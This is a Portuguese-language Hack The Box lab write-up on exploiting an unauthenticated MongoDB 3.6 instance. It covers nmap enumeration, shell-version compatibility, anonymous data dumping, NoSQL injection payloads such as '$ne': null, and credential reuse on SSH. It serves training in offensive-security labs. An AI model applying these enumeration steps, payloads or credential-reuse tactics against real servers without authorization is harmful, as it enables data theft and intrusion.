Skip to main content

MongoDB Misconfiguration – Anonymous Access (HTB Lab: Mongod) | Solyd One | Ataque específicos

  • MongoDB Misconfiguration – Anonymous Access (HTB Lab: Mongod) | Solyd One | Ataque específicos

1. Visão Geral do Cenário

O laboratório Mongod da Hack The Box demonstra uma falha clássica de má configuração do MongoDB, onde:

  • O serviço mongod está exposto na rede
  • A autenticação está desabilitada
  • É possível conectar como usuário anônimo
  • Dados sensíveis podem ser enumerados e extraídos

O objetivo técnico é:

  1. Identificar o serviço MongoDB exposto
  2. Conectar via shell compatível
  3. Enumerar bancos, coleções e documentos
  4. Extrair informações sensíveis (flag)

2. Conceitos Fundamentais

2.1 Arquitetura MongoDB

MongoDB é um banco NoSQL orientado a documentos.

Hierarquia:

Database
└── Collections
└── Documents (JSON-like)

2.2 Processo principal

  • mongod → daemon do servidor
  • mongo (legacy shell)
  • mongosh (shell moderno)

2.3 Porta padrão

27017/tcp

3. Enumeração Inicial

3.1 Scan completo

nmap -p- -sV --min-rate=1000 <TARGET_IP>

Resultado típico:

22/tcp     open  ssh
27017/tcp open mongodb MongoDB 3.6.x

Script específico:

nmap -p 27017 --script mongodb-info,mongodb-databases <TARGET_IP>

Se retornar nomes de bancos → autenticação desabilitada.

Exemplo:

admin
config
local
sensitive_information
users

Isso confirma:

✔ Acesso anônimo ✔ Enumeração permitida


4. Problema Crítico: Compatibilidade de Versão

A máquina Mongod utiliza MongoDB 3.6.

Versões modernas do shell (7.x) falham porque:

  • Usam handshake hello
  • MongoDB 3.6 usa isMaster
  • O protocolo é incompatível

Erro típico:

Error: no such command: 'hello'

Ou travamento em:

Connecting to:

5. Tabela de Compatibilidade MongoDB × Shell

MongoDB Servermongo (legacy)mongosh 1.xmongosh 2.xmongosh 7.x
2.6 – 3.0
3.2 – 3.4⚠ limitado
3.6✔ (≤ 2.3.2)⚠ parcial
4.0
4.2 – 4.4
5.x+✖ (deprecated)

Observação crítica para HTB Mongod

Compatível somente com:

mongosh ≤ 2.3.2

Ou:

mongo 4.0.x

6. Instalação Correta para o Lab

Baixar versão compatível:

curl -O https://downloads.mongodb.com/compass/mongosh-2.3.2-linux-x64.tgz

Extrair:

tar xvf mongosh-2.3.2-linux-x64.tgz

Entrar no diretório:

cd mongosh-2.3.2-linux-x64/bin

Executar usando binário local:

./mongosh mongodb://<TARGET_IP>:27017

Importante:

  • Não usar versão global instalada
  • Não usar mongosh 7.x

7. Enumeração Após Conexão

Listar bancos:

show dbs

Selecionar banco:

use sensitive_information

Listar coleções:

show collections

Dump da coleção:

db.flag.find()

8. Possíveis Vulnerabilidades Relacionadas ao MongoDB

8.1 Falta de autenticação

Configuração vulnerável:

security:
authorization: disabled

Impacto:

  • Leitura total dos dados
  • Dump completo via mongodump

8.2 Bind externo

bindIp: 0.0.0.0

Permite acesso remoto.


8.3 NoSQL Injection

Payload comum:

{ "$ne": null }

Ou:

{ "$gt": "" }

Exploração via aplicação web vulnerável.


9. Problema Comum em HTB: WSL2 + VPN

Sintomas:

  • Ping funciona
  • Nmap detecta porta aberta
  • Shell trava em "Connecting to:"

Causa provável:

  • MTU incorreto
  • Problema de encapsulamento OpenVPN no WSL2
  • NAT do Windows interferindo

Diagnóstico:

ip route
ip a
ping -M do -s 1472 <TARGET_IP>

Correção possível:

sudo ip link set dev eth0 mtu 1350
sudo ip link set dev tun0 mtu 1350

Solução mais estável:

  • Usar Kali em VM real
  • Ou conectar VPN diretamente no Windows

10. Fluxo Metodológico para MongoDB em CTF

  1. Scan completo
  2. Identificar 27017
  3. Rodar scripts mongodb-*
  4. Verificar versão
  5. Escolher shell compatível
  6. Conectar anonimamente
  7. Enumerar bancos
  8. Dump de coleções
  9. Buscar credenciais
  10. Reutilizar credenciais em SSH/web